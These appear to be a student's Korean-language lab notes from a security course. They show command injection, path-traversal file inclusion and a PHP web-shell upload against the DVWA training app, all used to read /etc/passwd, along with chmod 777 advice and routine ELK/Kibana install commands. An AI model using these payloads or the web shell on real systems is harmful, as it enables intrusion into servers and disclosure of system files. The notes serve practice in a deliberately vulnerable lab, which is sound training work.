15일차
시스템 사용자를 찾아라
kali> ssh 125.246.95.152 => 서버에 칼리가 있어야만 접속이 가능하다
ssh 루트 접속 가능 설정: nano /etc/ssh/ssh_config에서 Authentication을 설정해주어야함 (위험하므로 보통 설정하지않음)
adduser [계정명] 실행 시 /etc/passwd 파일에 정보가 저장됨
Command Injection, File Inclusion, File Upload 공격으로 /etc/passwd 파일을 볼 수 있다
Command Injection -> 1.1.1.1; cat /etc/passwd
File clusion
> ?page=file1.php
?page=../../../../../etc/passwd
File Upload 공격
1.attack.php 파일을 업로드한다
만약 권한때문에 업로드하지 못하면 /home/dvwa/public_html/hackable/uploads와 /home/dvwa/public_html/config 파일 chmod 777 uploads, chmod 777 config
2. http://dvwa.st.kr/~dvwa/hackable/uploads/attck.php?cmd=ls
3. http://dvwa.st.kr/~dvwa/hackable/uploads/attck.php?cmd=cat 20/etc/passwd -> 파일 확인 가능
#ELK > Security ELK SELK
sudo apt -y install default-jre
sudo apt -y install default-jdk
sudo apt -y install nginx
curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch |sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg
echo "deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list
sudo apt update
sudo apt -y install elasticsearch
/etc/elasticsearch/elasticsearch.yml
sudo systemctl start elasticsearch
sudo systemctl enable elasticsearch
curl -X GET "localhost:9200"
sudo apt -y install kibana
sudo systemctl start kibana
sudo systemctl enable kibana